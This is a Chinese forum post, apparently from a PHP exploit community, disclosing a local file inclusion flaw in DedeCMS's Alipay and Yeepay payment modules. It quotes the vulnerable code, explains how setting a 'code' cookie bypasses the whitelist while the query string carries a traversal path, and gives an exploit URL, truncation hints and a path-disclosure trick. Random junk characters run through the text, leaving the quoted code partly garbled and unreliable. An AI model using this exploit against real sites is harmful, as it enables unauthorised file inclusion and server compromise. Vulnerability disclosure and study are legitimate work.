晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯): _' B2 q% o2 ?" e1 I& p0 z: }
+ p) B/ x6 Q4 [
出现漏洞的两个文件为:7 `% r$ V' j6 |5 a) G5 I5 H) ~- u0 x
Include/payment/alipay.php( X7 c! e5 S; B
Include/payment/yeepay.php$ R7 p( q" x3 E" \
漏洞均出现在respond方法里,估计这两个文件是临时工写的。# i+ J! `& R1 I+ R. h8 U5 X" t4 H
$ d* R8 m U/ x! Y
Include/payment/alipay.php
# ^! b% k% d- W7 [3 W3 L- v: _* ~9 K; S/ k
...... [. B0 B( u# ]
function respond()5 w4 p5 ?5 ]& t2 O4 q& a1 s% C
{
& S2 h3 H2 v5 _% v& w9 k if (!empty($_POST))
+ `7 E; E) [* R% I$ U {$ J4 Y2 ] a! x( O
foreach($_POST as $key => $data)
* t: {" A1 k7 h7 z. k; o {. C% X3 E( Y" M# `) \1 p! x; b
$_GET[$key] = $data;
5 O5 x; ^8 v( k% h8 t5 C( P }
; h* J! Y/ G* E1 ~ F }; K( Z$ H! T5 T
/* 引入配置文件 */
( n* v8 w, p0 z9 U require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
7 f7 |3 [# |; \7 _...... 1 n& m T% S; U* A
6 N7 f* d, U- U3 [/ t y3 x
; ~- x x8 ~0 M) }6 Y7 b( T
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
) d' r- R1 p4 J: f P* @& U$ y% I! ]
Include/payment/yeepay.php- e9 [- G2 u( F! A& ?# [9 k
5 s6 m- Z; U& o+ z0 h1 |. V 0 Z9 x6 x) \8 G4 t! Z& h3 e
) _5 [+ w3 e$ P3 J% t. P
......
4 D& o" w* P9 ?7 i5 s7 Z function respond(): C. w, S3 V) R" e9 S$ w1 K: F
{) z4 l1 P7 V/ ?1 V
! G1 S3 Z- ?2 Y9 Z" a! j* v /* 引入配置文件 */
& |/ o/ j- z: d require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
Q1 g8 K! y/ Y* r3 z v7 j - C5 c! r' j; ^- a% N
$p1_MerId = trim($payment['yp_account']);" \2 ~' z0 I% z
$merchantKey = trim($payment['yp_key']);
u7 _$ y" F6 {& @......
3 F% A1 M2 {" I9 S `, X$ Q; s' Z5 E& G1 c1 E
- \' ^2 e0 ^+ _: Y# Q6 I( B- {* e* o 9 G* U5 `/ N( P* k2 }. `+ j
0 |+ P8 x* ?1 V7 f
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
! D7 e" D, q. J% R0 Y a' `! p0 l) i: H) r" U2 o
这两个方法在plus/carbuyaction.php文件调用。8 ?5 V6 I3 o: T6 q9 e
" v+ A5 z0 N, {$ O9 s( T& N! c- {plus/carbuyaction.php* g: w1 @$ a$ ^1 ^7 N
% Z" H( e) F8 w; a......# ^: t( x2 n5 p+ `8 [! b0 H
} else if ($dopost == 'return') {+ t/ _! g" c7 k; W3 _. X
$write_list = array('alipay', 'bank', 'cod', 'yeepay');
# q6 r$ k" r0 I0 i4 g& m' \' _ if (in_array($code, $write_list))6 T2 F+ j7 Z% V- p; e' X$ Q
{
! A4 D# W. x; E) R: t require_once DEDEINC.'/payment/'.$code.'.php';$ `2 h, q" u; C. K1 k6 M Z
$pay = new $code;" S) V8 b, p- T% W3 u
$msg=$pay->respond();0 }+ D/ O2 A# E( G6 i
ShowMsg($msg, "javascript:;", 0, 3000);- o/ T, f+ u+ E7 V1 W2 Z
exit(); / d9 C! I* g/ a& `+ F0 X- { P0 N
} else {8 F& g" g! V2 M1 d* x- ?
exit('Error:File Type Can\'t Recognized!');
, T# ~3 q Y' q }. F$ M1 { U# v$ p. ~# V( U
}7 ?# m3 X( w. B' a$ _4 |. ^: H1 F
......
) i5 t8 t3 ^: g8 b' s# b 1 t" x" g7 S7 W3 k5 ~
+ Q% K0 P) y" {4 d2 {/ o % A* b9 n6 D* b4 C# z. a
! w$ T b" ~ k' ]8 | 3 Y; e# Q3 o4 w1 i
5 J8 w$ P y) a大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
" k9 {$ v5 K( Q$ w所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。5 n0 \( I# y. X' n- M: l
0 C# B' Q$ |9 W9 I) {) E% W8 y回到include/common.inc.php来看看他的机制。; j" v8 z" y# w M, y; n* c
8 l. O+ s; i, Z1 @7 {1 m1 W* Z
. N* H% a) J: N1 C0 B/ I/ X: j$ L% k; b, k6 c
......0 V: i. ^. ]2 k) F d9 V* O0 t
foreach(Array('_GET','_POST','_COOKIE') as $_request)& z8 h! L. |* @$ A6 Q/ ?5 T
{0 V @$ M/ r) F0 c# L( x
foreach($$_request as $_k => $_v)
- C/ f" h% N5 E* M {) N3 S/ D$ D" H5 k' z# j+ d
if($_k == 'nvarname') ${$_k} = $_v;
5 t! T: }5 O4 \ else ${$_k} = _RunMagicQuotes($_v);7 @0 ]. W+ }" b {$ t+ k# H3 l
}
% q3 K4 R9 W+ |}+ f2 w! t: g" V7 H8 i1 a5 ~
...... & s4 P! j3 \+ M
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
6 M6 x: w9 \4 }. h, F3 e: B由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |